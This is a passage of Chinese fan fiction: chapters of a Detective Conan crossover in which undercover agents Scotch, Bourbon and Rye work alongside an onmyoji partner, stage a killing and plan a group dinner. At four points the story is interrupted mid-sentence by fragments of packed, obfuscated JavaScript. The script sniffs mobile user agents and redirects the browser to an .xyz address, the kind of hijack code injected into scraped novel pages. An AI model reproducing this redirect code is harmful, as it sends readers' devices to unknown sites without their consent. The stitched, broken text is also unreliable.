苏格兰原本想和波本使眼色,但第三人的目光一直很有存在感地固定在他们身上。观察者一如既往安静地站在原地,注意力先在波本的面部表情上停留了一会儿,又略带压迫感地停在苏格兰双眼位置。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256591|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏格兰被盯得紧张,硬着头皮问:“你有要补充的?” 魔魅流摇头。 他指了指微微鼓起的口袋,干脆利落转身离开。 - 直到碍眼的黑风衣融进夜色,波本才微微舒缓脸上的表情。金发青年后退几步,身形移动到小巷围墙的夹角阴影里。 附近电线杆很多,大量垃圾袋、自行车、以及半损坏的自动贩卖机堆砌起供人藏身的小角落,杂七杂八的味道混合雨后的霉味熏得他微微后仰。这里实在不是好的谈话场合,唯一的优势在于勉强算隐蔽。 “他那一通比划是什么意思。”降谷零啧声,语气有些别扭。 诸伏景光没由来地噗嗤笑出来,放松身体同样凑到墙角旁:“他要回自己的安全屋。” “大概是觉得我把事情解释完了,你又没提起其他事,今天的工作到此结束了吧。” 降谷零没吭声。 他抬头看向身边的猫眼青年,表情微妙地像头一次认识这个人。真名诸伏景光、昵称hiro、目前代号苏格兰......不应该啊,他们两个认识十几年了,他怎么不知道好友还有这种技能。 “......在想什么奇怪的事情吗。”诸伏景光笑眯眯地问。 “不,我只是好奇,”降谷零磕磕绊绊地说,“你有读心术吗。” “他只是比划了两下,你就能解读出这么多内容。明明昨天才和我们第一次见面——啊,我知道了。我和莱伊走之后,你们两个背着我偷偷交流情报。” “关系真好哦。” 说到最后一句时,降谷零脸上的审视意味更重。 他站起来倾身凑到诸伏景光面前。两人距离不超过十厘米,互相能嗅到对方的鼻息。下垂的紫灰色狗狗眼因为眉肌牵张微微吊起,看着怪凶的,又像是撒娇一般毫无威胁。 诸伏景光一顿,脑海中倏地闪过一道思路。 这语气有些熟悉。听上去像兴师问罪,其中又掺了些别扭的好奇。还有微妙类似嫉妒的心理。 猫眼青年还没想清楚是怎么回事,张了张口没有接话。降谷零乘胜追击,又问是不是方才和阿玛尼亚克一起失联的时候,也趁机交换了没告诉自己的情报。 “嗯?诶......”诸伏景光心虚地回答,“没有交流情报,只是讲了些和工作无关的话。” 大概是错觉吧?诸伏景光思维飘忽地想。zero那句捉奸一样的指责,有点像昨晚阿玛尼亚克以为他要和琴酒出任务时一样。对方问起琴酒时说了“他们”,看来在意对象是琴酒的新搭档? “关于傍晚的突发意外,等我梳理清楚所有疑点会告诉你的,”他弯起眼角,轻轻拍拍降谷零的头顶,“不用担心。没有危险。” 目前看来,只要身体里的妖怪和阿玛尼亚克都在,他至少能活到得知真实情况的那天——如果卧底任务没有其他变数的话。 降谷零小声嘟囔几句,只是眉心仍然没有舒展开。“那家伙有异常吗?”他没有指名道姓,但两人都知道在讨论谁。 苏格兰嘴角尴尬地抽了抽,说:“还好,暂时没有威胁。” “暂时,”金发青年微微沉下表情,“最好不要有危险的事瞒着我,苏格兰。” “我尽量。”苏格兰说。 虽然对zero很抱歉,但是......真的只能尽量。他还做不出擅自将对方扯入危险的混蛋事。 能瞒多久是多久吧。 11. 搭档(十一) 昏暗的酒吧里,随意扔在吧台上的手机嗡嗡震动。琴酒将酒杯放回桌面,刻意让玻璃杯与大理石碰撞,磕出清脆又突兀的声音。 坐在他左边的花开院龙二偏头,视线莫名其妙地看了同事一眼,拿起手机回复新消息。 “第五次了,”琴酒额头青筋微微鼓起,语气有些烦躁,“商量件事。能不能把震动取消,开成提示音或者静音。” 那个黑砖块抖动的时候带着大理石一起震,振动波透过固体传到他杯子下方,打得酒液表面微微泛波。 再震就破坏雪克壶最初摇好的风味了。 “不可能静音啊。我是情报员,工作的一大准则就是要及时回复消息,不能让客户多等,”花开院龙二挑眉,“我还以为你听不得消息音呢。难得照顾你把它去掉了,你还不领情。” “现在换。”琴酒提出要求。 “行,行。” 花开院龙二单手握着手机,端起放在桌上的白水喝了一口。 他刚取消震动模式,上方通知栏又弹出新邮件。 今晚的前五封都是调查工作,最后这一封是魔魅流发来的。没什么重要事,大概汇报了一下任务情况,文末附了两句日常。 【昨天苏格兰说,我像野村万斋饰演的阴阳师。】 【得到了和龙二一样的评价,感觉蛮开心的0.0】 花开院龙二:...... 他嘶地吸一口气,飞速将手机屏幕盖在桌面上,抬手按压眉心。 十几秒后,他才勉强将“野村万斋”这个人名对应的事从大脑角落翻出来。 应该是四年前吧。某天他带妹妹柚罗进山调查,遇到学校里几位来做妖怪调查、愚蠢又不知天高地厚的同班同学。 那群家伙不知道从哪里听来的消息、知道花开院龙二出身阴阳师世家,又正巧见他穿和服,于是一脸看热闹地问,“你能像野村万斋那样跳起来吗”。 无聊低质又没营养的问题......先不说那群家伙开玩笑的概率有多高,那个姓野村的演员演的是安倍晴明吧。 拜托,花开院家继承自芦屋道满,和安倍晴明一支可是世仇。 高中生们起哄的时候柚罗不在。那天结束后花开院龙二和妹妹拌嘴,抱着指桑骂槐的心情把这个玩笑说出来。那丫头又像抓到把柄一样,带着看热闹和嘲笑的心思转身跟魔魅流分享。 偏偏魔魅流是个一根筋的,什么小事都往心里记。最终,当事人就这么在多年后,被那个自己都忘干净了的玩笑再攻击一次。 离谱到让人没话说。 花开院龙二血压突突地跳。 他喝了口水,压下有些微灼烧感的肺部。酒吧不提供茶,没味道的白水混着空气里的酒精,怎么都不是滋味。和那两句莫名其妙的附言一样。 对了,还有奇形怪状的颜文字。到底是谁教给魔魅流的,又是柚罗吗。 “怎么脸色这么差,调查刚开始就碰壁?”琴酒冷笑一声幸灾乐祸地问。 花开院龙二眯起眼睛看过去。 “如果我说确实有点麻烦呢?”他话里带刺挑衅身侧的人,“我们的top killer先生,被别人随便一忽悠,就立刻点头决定调查这件事。不想动朗姆派系的人,干脆压榨劳动力一样让我全权负责——” “纠正一下,是你先多管闲事的,”琴酒咬字很重地强调,“废话这么多,想表达什么。找我要帮手?我再说一遍,你刚开始调查。”现在找他要人和空手套白狼有什么区别。 “喔——还挺善解人意,”花开院龙二挑了下眉毛,“我倒是也想,可你也拿不出帮手啊。对,可以找那位女士,你们不是关系挺好的么。花言巧语凑到她身边说点好听的,然后由她介绍几个没那么烦的家伙。” 琴酒:“我快吐了。” 花开院龙二也懒得拌这种无意义的嘴。他又将视线放回手机,注意力还缠在邮件附言上。一排排随机排列的邮箱地址中,写了复杂汉字备注的发信人格外突兀。况且它还在最上面,想不在意都不行。 说起来,魔魅流很少会在邮件里讲自己的情绪。那家伙小时候话也不太多,和现在一样。如果真要说的话,大概也只有那些被他认为非常重要的事,才会用文字分享给其他人。 顺着这个想法推理下来......被打趣说成野村万斋版安倍晴明是什么非常重要的事吗。 花开院龙二想不明白。他啧了一声,将问题抛给身边那个无所事事等时间的家伙:“你有什么讨厌的杀手主题电视剧吗?” 琴酒皱眉:“......莫名其妙发什么颠。” 龙二:“哦,那换个问题好了。你有什么讨厌的杀手吗?” 琴酒诡异地沉默下来、思考、半晌给出一个不知道是哪个国家的人名。听着像欧洲语言,一串发音含含糊糊的。 或许杀手间也有微妙的竞争关系,他们的top killer说了一大堆不明所以的评价,像“那人行事过于夸张”、“扫尾做得很敷衍”、“合作态度很差”等等。 花开院龙二懒得听。他等身旁冷漠的噪音停下,漫不经心地问:“假设很多年前有人做出评价,说你很像上面提到的那位杀手。” 琴酒啧声:“说快点。”他提起那人名字就烦。 “说你很像上面提到的那位杀手,”花开院龙二顶着同事要杀人的眼神重复了一遍,“然后前几天伏特加突然找上你,高兴地说,‘大哥,有人也评价我很像那位杀手先生’——” “再来一杯,”琴酒直接打断这个假设,“给他也来一杯。”把这张说不出好听话的嘴堵上。 “我不喝洋酒,日本威士忌也不行,”花开院龙二摆手,“续杯水吧。” “真挑。其他人怎么没像你一样讲究。”琴酒接过调酒师递来的干马天尼,一饮而尽。 他盯着空杯子看了好一会儿,嘴角和眉心都忍不住抽搐。 关于伏特加和那位讨厌杀手的话语在他脑海正中不断循环,吵得耳蜗嗡嗡蜂鸣。 原本想直接忽略那个烦人的话题,但他现在改主意了。与其一声不吭被缠着问,不如随便讲点什么糊弄过去。 “如果他真的因为这种话‘高兴’”,琴酒模仿倒霉同事的语气在这两个字上加重音、语气格外冲,“大概率是没听过我骂那个人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256592|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 花开院龙二意味不明地拖长音“哦”了一声。 对不起,魔魅流还真听他骂过那个角色。 “算了,没什么参考价值,”他抓着外套向内拢,整个人连带和服都团进黑风衣里,神情很淡,“我总觉得,那家伙最近有点难懂——自从到你们这里工作开始。” 像突然和主人分离的大型猫科动物。表面上装得一切正常,该生活生活该工作工作,但被理智压抑在头脑各个角落的焦躁感和不安感,会慢慢堆积、分裂、再繁殖,最终将脑袋蛀空。 或许还不只是分离焦虑带来的异常。毕竟那天在市郊的废弃别墅里,花开院龙二就觉得魔魅流近期有点容易应激——不是情绪上的病灶,而是源自躯体的变化。 不太妙。他可能需要尽快找个机会修正下这个不稳定因素。 “难懂?你那只忠犬?”琴酒问。 “是啊,都怪你们,”花开院龙二说,“把他分到几位威士忌先生手里。那两个狙击手还好,剩下那位——波本?是叫波本吧,心眼比蜂窝还密。” 坐他旁边的银发男人深呼吸,闭眼,努力压下内心的吐槽欲。 你到底有什么资格说别人心眼多。 “是,我决策失误了,”琴酒面无表情,但语气里掺了些微的阴阳怪气,“我当时就应该跟boss提议把你跟波本凑在一起。” 两个惹人烦的家伙互相耍心眼打对抗,他们这些“被忽略”的局外人就能轻松不少。 然后,擅长打架又不爱动嘴皮子的阿玛尼亚克分在琴酒小队。任务效率提高了,同事关系也变好了。 有机会他一定要试试,琴酒想。 “对了,”余光瞥见柯涅克的手机又亮了一下,琴酒兴致缺缺地想起另一件事,“研究所这次帮你提供资料让boss点头,他们想借这个人情从你这里拿点东西交换。” 花开院龙二听到“研究所”这三个字立刻沉下表情:“谁提的。拿什么。” “查特和雪莉。雪莉勉强还有点礼貌,查特是直接向boss提交申请,通过之后才告知到我这里。也就是说——” “我拒绝不了。”花开院龙二烦躁地捏了捏眉心。 银发男人从烟盒里嗑出一根烟点上,含糊地说:“话虽如此,查特也不敢明目张胆打你的注意。所以他提出的要求很简单——让你那只疯狗去体检。” “这是一个从他、从我、从所有人的角度来看对你都没有损失的提议。” 甚至可能对当事的阿玛尼亚克都没损失。毕竟那个“体检”是真的体检,照几下X光抽两小管血的事。 一想起自己搭档最近表现出的轻微异常,花开院龙二不可避免有些头疼。 如果是以往,为了不引人注意他会很快答应下来。只是现在要探查并掩饰的问题太多,任何疏忽都可能连根拔出不少刻意掩饰的秘密。 “......行,我会尽快让他去,”花开院龙二说,“不过有个问题,研究所为什么不直接找他、而是想先征得我的同意?” 琴酒盯着他,意味不明地回答:“虽然查特是那么说的......谁知道他又会怎么做。” 12. 搭档(十二) 大阪另一个方向的市郊,烈阳下同样零零散散坐落了几幢建筑。 这些宅院都很漂亮。灌木花丛修剪成极具美学和设计感的模样,建筑外表也各有特色。每家每户的占地面积都很大,甚至显得略微空旷。 建筑群最边缘是一片乔木林。这里没什么巨型古树,大多直径都只够一人合抱。倒霉的长发狙击手就这样窝在树干上,姿势别扭地稳住重心,又想办法稳住狙击枪。局促不适的待机动作让他整个人内心比肢体疲惫得多。 “我们可以换个地方的,”莱伊幽幽地说,“这四周真的没有空楼吗。” “不行啊,那样太明显了,事后随便一查都能查出问题,”他身侧的观察员驳回提议,“如果你实在对今天任务不满,可以和波本沟通。如果你觉得他是在为难你,我先替他道个歉。” 观察员·苏格兰的语气听着轻松很多。毕竟他们今天的目标没在人多繁杂的宴会场上,而是一脸安心地坐在自家书房里。单独一位目标,僻静的场合。如此直白的场地不需要、也不能让两位狙击手同时出动。 威士忌小组中,往往莱伊是定点主狙,苏格兰副狙。前者一如既往去狙击点就位,余下那人负责告知环境情况。“告知”可不需要同时考虑自身肢体和手中大狙的共同稳定性——如果莱伊做不到,他们可以狠狠嘲笑对方几天。 “安心啦,”苏格兰继续开导同伴,“我们都知道从这里狙击很为难你,所以前线先锋已经让阿玛尼亚克去了。” “哦。”莱伊语气随意地应了一声。 “我还挺好奇的,”他语气平淡,仿佛只是随口一问,“每次和他沟通都是你来。是有什么诀窍吗,明明是很难懂的家伙。” “难懂?没有吧,”苏格兰眨了眨眼,对一脸冷漠地莱伊比划,“他的想法其实比大多数组织成员都要简单。” “如果只是单纯地盯着你没说任何话,代表没有恶意,只是好奇。” “如果有疑惑的地方,他会直接问。问题里包含什么情绪也会直接透过用词展示出来。生气就是生气,高兴就是高兴。” 莱伊仍然是一副面无表情的样子,只是轻轻嘶了口气,听上去很没辙。 “......我怎么不知道你还有读心术,”他眼神中透露着一丝无语,“苏格兰,你好像和他关系很好。” 苏格兰礼貌地笑了笑:“只是因为莱伊你不太喜欢和人打交道。如果是波本,他也能根据阿玛尼亚克的微表情和神态解读出各种复杂的含义。” “......那个面瘫的家伙真做过微表情?” “有哦。快专心任务吧。”苏格兰打了个哈哈。 发现被明目张胆地敷衍,莱伊也没死缠烂打非要立刻问出个什么。他抬起狙击枪,身侧的苏格兰也举起望远镜。 两道视线中央,戴着灰色棒球帽的橘发青年套在灰扑扑的园艺制服中,盯着高耸的铁制围栏准备助跑。 他身高腿长,下肢肌肉也极具爆发力。不需要找专门的落脚点,随意踏在哪个点位都能借力翻过去。明明是高挑的身形,但落地也极安静。像猫一样。 翻墙对魔魅流这种擅长近身的战士来讲很简单。他混进建筑后,暂时从狙击镜中消失。大约五分钟过去,原计划里莱伊需要瞄准的窗户出现动静。 窗帘拖沓地抖开,从原本只有一条缝的宽度变成敞开一半。无机质的金色眼睛从暗中探出,与十字准星背后的两人对上视线。它们看了同伴一眼,下一秒移到窗帘背后的阴影里。 布料交叉线夹出的视角正好够两位狙击手分辨目标状况。子弹像是贴着脑袋打的,颅骨都碎了,各种东西的碎片搅在白花花的脑组织里。 “确认目标死亡。”魔魅流语调平静地汇报。 几百米外的树上,莱伊面无表情地问:“结束了?还挺快。”他是不是可以收工了。 “确认无误,”苏格兰皱眉,问还在现场的人,“你开枪了?我记着你今天出门没给配枪装消音器。” 望远镜另一侧的人没说话,只是举起手中的武器,示意枪口处那个不知道什么时候添上的消音装置。 苏格兰一顿,佯装无所谓地继续叮嘱:“......谨慎点,之后别再搞出动静。” 魔魅流点点头,将窗帘悄声合上,视线略过尸体时没有丝毫波动。 猫眼观察员最后看了一眼那双在黑暗里微微发亮的金色眸子,微不可察地叹了口气。 其实莱伊没说错。他这位神秘的新同事确实很难懂。 对方总是挂着一副面无表情的模样进行所有动作。不论是简单的待命,还是杀人,又或者是在天台上不论立场地救他。 平日里像毫无感情的听令机器,可除妖时又像有另一种奇特行动准则——妖怪是敌人,人类却都可以是友方。这一点让阿玛尼亚克看上去像第三方势力,但在日常行动中又完全摸不准对方针对“人类”的敌我判断方式。 苏格兰这层皮套之下是卧底搜查官诸伏景光。即使阿玛尼亚克真的在事实上救过他,他也只能谨慎些,延续初见时就建立的还不错的、基于“心电感应”的交情。在此之外,只能假装天台上的逃难没发生过。正好对方也有这个默契。 那天他问了关于“阴阳师”的话,没得到回答,之后又开始僵持、被波本打断——苏格兰至今都不知道好同事的第二个身份到底是什么,“阴阳师”也只是根据本地文化做的推测。 通讯频道传出最后一位成员的声音。波本简单报告了一下宅院外围的情况,作出指示说可以撤离、任务结束。 “今晚都没事吧,”金发情报员语气自然地说,“阿玛尼亚克,你还需要去研究所吗?” “这个月已经去过了。”魔魅流回答。 “那好,老样子。一个人请客,大家吃点好的。” 这是他们小组为了促进和睦交流敲定的规则。事实上和睦不和睦的都无所谓,能薅小队成员一顿饭就行。不过对于波本来说,这个饭局是他为套取情报创造的机会——目标主要是新来的阿玛尼亚克,附赠一个莱伊。 只是这个小陷阱至今为止还没成功过。第一次阿玛尼亚克刚踏进餐厅,突然被临时喊走了;第二次车开到半路波本被朗姆紧急传唤。今天是他们第三次尝试,按照轮转—— “莱伊,这次轮到你掏钱。” “哦。”莱伊半眯着眼,思考今天怎么到处被同事针对。以防万一,他向任务发起者确认:“地方我挑,对吧。” “不然呢。你最好别请大家吃路边餐车。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256593|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >莱伊:...... 长发狙击手无语,偏头看向苏格兰,面无表情的脸上仿佛写着“波本为什么总觉得我是这样的人”几个字。 苏格兰无辜耸肩。 “快点离开吧,”猫眼青年敲了敲自己的通讯设备,通知任务中心的行动者,“小心别被宅院里的人目击到。” “好。”魔魅流应声。 阳光已经被厚重的布料隔断。室内没有开灯,接近漆黑的房间里,原本肮脏浑浊的血肉组织开始变黑、形状波动。躺在地上的“尸体”开始融化,几息后,那滩液体团在一处变成浓烈的黑色。 黑水很快又快速翻腾起来、分出两个主要部分。一部分在屋内横冲直撞,另一部分铺满墙壁地面、作为缓冲避免掉落的物体发出声音。 破坏只持续不到一分钟,很快屋内就面目全非。魔魅流蹲下身,手探进园艺制服的外套,从贴身腰带的卡槽里取出一根竹管。 他将竹管口靠近地上的黑色液体,黑水涌动着挤进竹制容器。很快,地面上干干净净没有任何痕迹。 “辛苦了,狂言,”他轻轻摩挲竹管上刻着的字,“还要麻烦你每天跟着我出门。” 已经缩进竹管的黑水悄悄从开口渗出,凝成一个类似日本狼的动物形态。小黑狼伸出液体聚成的爪子,碰碰魔魅流的手指,再次缩回去。 走廊里突然传来叮呤咣啷的脚步声,根据判断,大概是有一群人正朝这个房间走。 橘发青年掀开窗帘一边,推开窗户从书房所在的三楼跳下去、悄无声息落在地上,又快速翻滚进灌木丛藏着。 书房内唯一的客人刚离开,被传唤去取钥匙的仆人匆匆来迟。她和管家一起对着锁孔研究许久,终于在某个特定角度碰到了类似阻碍的东西。 钥匙齿“噗”地扎进那团堵塞物,将它打散。锁很快打开,几人放松地舒了口气。 “该换把锁了。”管家严肃地说。 “是。”女仆点头应下。 她刚推开门,一片狼藉的书房闯入视线。两声尖叫在书房门口响起,最后整座庄园都热闹起来。 在人类注意不到的位置,被扎破的物体在锁孔中收缩,凝成细线、顺一切有形之物延伸出去。它从门缝下爬进书房,随后是墙壁、窗户、外墙。像细长的软针一般一路划走,最后也扎进灌木丛后阴阳师的竹筒。 狂言的最后一个小分支也收回来。魔魅流手指摩挲着竹筒外缘,搓得狂言又悄悄探出手爪碰碰他。 被碰触的地方莫名有些凉,连带接触竹管的每存皮肤都神经敏感略微不自在。 从他在难波救下苏格兰的那天晚上起,狂言的一部分一直被花开院龙二放在他这里。 明明是对方的式神,却被下了命令说随便他用。该说是龙二太信任自己,还是抱有能称得上依靠的想法......不论是哪一种,都让人有种微妙的安心和满足——龙二说带着狂言是为了防身,可魔魅流暂时还想不通有什么需要防身的场合。 “没事,”阴阳师轻轻摇头,“我们走吧。”虽然现在发生的一切都符合仆从们见到尸体后的反应,但如果被苏格兰他们发现尸体本身是伪造的,可能会有麻烦。 黑色水狼身体发出几声咕噜咕噜的轻响,完全缩回去。 13. 搭档(十三) 宅院外,莱伊还在经历波本的阴阳怪气,以及苏格兰的拉偏架。 他和波本不对付有段时间了。或者说,除了刚见面后的短暂磨合期内两人还能勉强和谐沟通,之后大多数时间,波本说话总是阴阳怪气的。 被针对的人摸不清同事的莫名其妙的脾气。问苏格兰时,这个猫眼狙击手又总是明里暗里替波本说话。大意无非是“他性格就这样,已经在努力改了。暂时委屈你忍耐一下,为了工作别闹得关系太僵”。 莱伊,或者说FBI卧底赤井秀一,向来是个不会轻易发脾气的人。不论是为卧底任务考虑还是心理健康着想,他都不会把波本的针对太当回事。 不过他能无视的只有自己和波本间的冲突。至于苏格兰那明目张胆的偏袒,他可不能装作看不到。 他们是今年才搬到梅田安全屋的。每次三人开完会议,波本和莱伊总是先离开,苏格兰自告奋勇留在屋内整理。如果莱伊和波本一前一后钻小路隐蔽身形,前者总觉得自己在被一股热切的视线观察。视线源头很好认,是苏格兰。 如果波本先一步离开,这位观察者会点到为止早些从窗边撤离,如果是莱伊走在前面,苏格兰会盯着小路看,直到波本的身影出现。 这种过度关心、或者说明目张胆的过度关心绝对有问题。 这是莱伊下的结论。 如果将其余组织成员的相处模式套用在这两个人身上,大概是——苏格兰对波本有单箭头。因为卡尔瓦多斯看贝尔摩德也是类似眼神。 但这其实是他对基安蒂和科恩描述事实时,两位狙击手同事们的判断。莱伊发誓,他给出的每句话都很客观,只是这两个脑回路奇怪的家伙戴有色眼镜看人。 苏格兰反而不介意这位长发狙击手同伴对自己和波本的关系做毫无根据的猜测。他的态度很模糊很暧昧,可又带着一丝说不出的矜持。像故意让事情看上去更扑朔、更有真实感,并以此为乐子。 时间长了莱伊也逐渐掌握窍门,关于怎么做才能不让波本再和自己吵架。这个办法的其中一点是: 给出提议前先问问苏格兰的想法。 因此,他不可避免与苏格兰关系还不错。 “我想去鸣之丸,一家居酒屋,”收拾装备撤离时,莱伊面无表情地说,“伏特加推荐过。那家烧鸟很好吃,威士忌也用的都是不错的酒。” “在哪里?”苏格兰问。 “靠近飞田新地。在它东边大约50米的位置。” “哎呀,那边不太行,”猫眼青年遗憾否决,“太晚了,街上乱七八糟的人很多。不安全。” 莱伊:...... 他将背后装狙击枪的乐器包拨到身侧,无语地看了一眼,又盯着苏格兰。他们的观察员先生今天只配了手枪,没带大狙,但不影响身上依然挂着危险武器。后者面色不变,语气轻松地说:“换一家吧。热闹点无所谓。” 莱伊又报了个名字。新店家叫武藏,在难波东南方向。同样是居酒屋,龙舌兰推荐过。这位同事可是地道关西人。 苏格兰在地图上搜了下第二家店的情况,点头通过。他像传话筒一样将地址报给波本,又充当翻译官转述给魔魅流。 “武藏。”魔魅流翻墙的动作一顿。 “对。在难波东南靠近日本桥位置,步行距离五分钟左右。怎么了?”苏格兰以为他对那片区域不了解,特意解释了几句。毕竟除了撞见妖怪那次、他们余下的任务几乎都不在那周围。 “......没有,我知道那家,”魔魅流双手一撑从围栏上翻过去,问了第二个奇怪的问题,“今天是星期几?” “周三。” “好。” 莱伊听着通讯里新同事平静无波的语调,又看了眼对此习以为常的苏格兰,什么也没说。 联络另一端,波本停下脚步,靠在宅院附近的小巷围墙上。他眼睑微敛,脑海中不断回想苏格兰此前讲述的、对阿玛尼亚克的观察结果。 这位新成员表达情绪时,会直接使用对应的词语。如果有疑问会直接问出来。 也就代表,如果他说“知道”,那就是真的知道——到底在什么情况下,这种独来独往的家伙会知道一个当地人才会去的小居酒屋。毕竟资料显示,阿玛尼亚克的前搭档柯涅克也不喜欢凑热闹。对这种人来讲,居酒屋过于喧闹了。 还有一件事是,波本不清楚初见的时候阿玛尼亚克是怎么找到梅田安全屋的——他原本猜测是伏特加带路——现在看看,或许对方对大阪的熟悉程度比想象中高。 可情报显示,阿玛尼亚克有记录以来一直在关东活动。是幼年时期多次停留大阪,或者关西其他地方吗...... 波本皱起眉头,轻轻踢开落在鞋尖前的碎石子。 信息还是有点少。 “周三怎么了,”他语气冷淡地问,“你有其他日程?” “我没有......稍等。” 魔魅流打开手机相册,翻到一张设置特别收藏的照片。 那是一张截图,被横横纵纵几根线条切割开,又填充上花花绿绿的方块。顺着数字和星期找下来,周三晚上对应的位置是空的。 这代表花开院龙二今晚不会去武藏打工。 他知道搭档隔三差五会去那家居酒屋兼职——那里的店老板是个很奇妙的人,明面上老实本分毫不起眼,背地里却做些情报生意。花开院龙二基于私人交情会顺手帮一下居酒屋的工作,作为回报老板额外提供些暗地里的协助。 不过龙二不许他去凑热闹,所以魔魅流从来没踏进去一步。本想着说不定运气好能见面......但今天是周三,看来不行。 “嗯,没有。”橘发青年啪地按灭屏幕。 通讯里的三个人还在零零星星拌一两句嘴,与他这个沉默的频道相比,称得上欢乐。 魔魅流微微垂下视线,盯着黑玻璃上的反光出神。他兴致不太高,无意识地上牙微微抵在下唇上,站在原地等莫名产生的失落情绪缓下来。 “......车。”耳机里发出滋滋声。 但比起电流杂音,另一道细琐地猫叫声在他耳边回响。动物轻声的呜咽和通讯信号混在一起,也掺杂了一两丝电流音。噼啪、噼啪地。 “......快点,上车,”好像是波本的声音,“别让我催第三次。” 各种响动混杂在一起,撕开大脑外层那张把理智蒙起来的薄膜。魔魅流一顿,应了声“好”,压低头上用来伪装的帽子、加快脚步朝任务小队车辆的位置跑去。 - 从这里开到难波大约十分钟。虽然是工作日,但有不少游客熙熙攘攘挤在人行步道上,过马路时黑压压一片,看不见一丝傍晚的日光。 今天司机是莱伊,几人里话倒数第二少的。他原本就只旁听懒得参与讲话,开车时更不愿意分心到这边。 余下两人,一个本身就具有情报员长袖善舞的本事,另一位靠着高超情绪解读能力充当前者的辅助。他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256594|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缠着车里的沉闷老实人不停聊天,装作拉近关系,实则想方设法套情报。 比如,怎么突然频繁去研究所。 遇到麻烦可以和我们讲,大家在同一个小队,有困难互相帮衬是应该的。 一月一次不算频繁......好吧,算定期规律日程。可为什么会有规律日程? 研究所里的家伙有没有很讨厌的人?不喜欢这类人吗?与哪种性格的人处得来,哪种处不来呢? 魔魅流情绪不高,动不动就走神。他做不出表情,可如果直接说“可以安静点吗”又像在放狠话。不合适,说不出口。为了快些让话题从身上离开,他只能一直偏开脑袋,僵硬地将视线固定在窗外,避开两位同事的目光。 压力减少了一些,他也因此错过这对一唱一和的家伙们时不时对视的举动。 后视镜里,波本对苏格兰挑了下眉毛,又眨眨眼做了个两人间独有的暗号。后者有些无奈,微微弯起眼角。 波本的意思是,阿玛尼亚克比想象中脾气好。 他们配合套话的举动已经明显得带上些侵略性,连莱伊都控制不住好奇地看过来。可即便如此,当事人仍然没说过什么阻止的话语。 他以往接受任务时也是三人说什么就是什么,从来没提出过异议。苏格兰等人只当他是习惯于服从安排,倒没往性格上想。不过任务里讨论的方案也不会有过分离谱的内容,与现在得寸进尺的话题不一样。 直接表示拒接很容易闹得不好看,如果是琴酒那类不在意他人态度的家伙另说——这是大多数组织成员都遵循的谈话法则。这群人往往对不必要的冲突能避就避,还能省下点时间和精力。 上述法则适用于本就脑子好使、或在多年的地下活动中总结出经验的家伙们。可阿玛尼亚克不是这种人。 这位情绪直白的新同事,貌似真如苏格兰观察的那样,比想象中乖巧。 看上去没问题。不过在这种犯罪组织里,“乖巧”本身就很异常。 目的达成一部分,波本和苏格兰渐渐放低讲话频率。 莱伊听耳边终于安静下来,左手从胸前摸出烟盒、磕出一支烟咬在嘴里。他刚从前排座椅之间的置物筐里摸出打火机,红灯切成绿色,司机先生犹豫一瞬,只好就这么咬着没点燃的烟草上路。 过了这个大十字路口,再稍微拐几下,就是四人这次的目的地。 此时名为武藏的居酒屋刚开门、客人们还没来。后厨门帘被掀开,束着服务生头巾的男人一脸不爽踏步进入。 “怎么是你啊,”一位高个子厨师在食材框里翻来覆去,空出来的拇指示意另一边高高垒起的盘子,“小村呢?还有高田,高田也不在吗?” “都请假了,”刚进门的人说,“我是被临时喊来的。要不是我好说话愿意顶班,今晚就要你来洗盘子了,山原。” “......哈哈。”厨师山原尴尬地笑了几声。 他从层层蔬菜最下面摸出土豆,掂在手里抛起又接住。“我洗盘子也可以啊,”他说,“让我们店里头脑最好的收银干枯燥体力活,很不好意思哦。之后让小村和高田请你吃饭,龙二君。” “无所谓,”花开院龙二随意应和了几声,“反正是普普通通的一天。我又没有朋友来店里。而且你这个厨师也走不开吧。” 山原耸肩:“说不定等下人手不够了,你也要来前面帮忙——我还没吃过龙二君烤的食物。” “我不会烤。”花开院龙二冷漠地拒绝。 14. 搭档(十四) 吃饭能看出一个人很多信息哦。 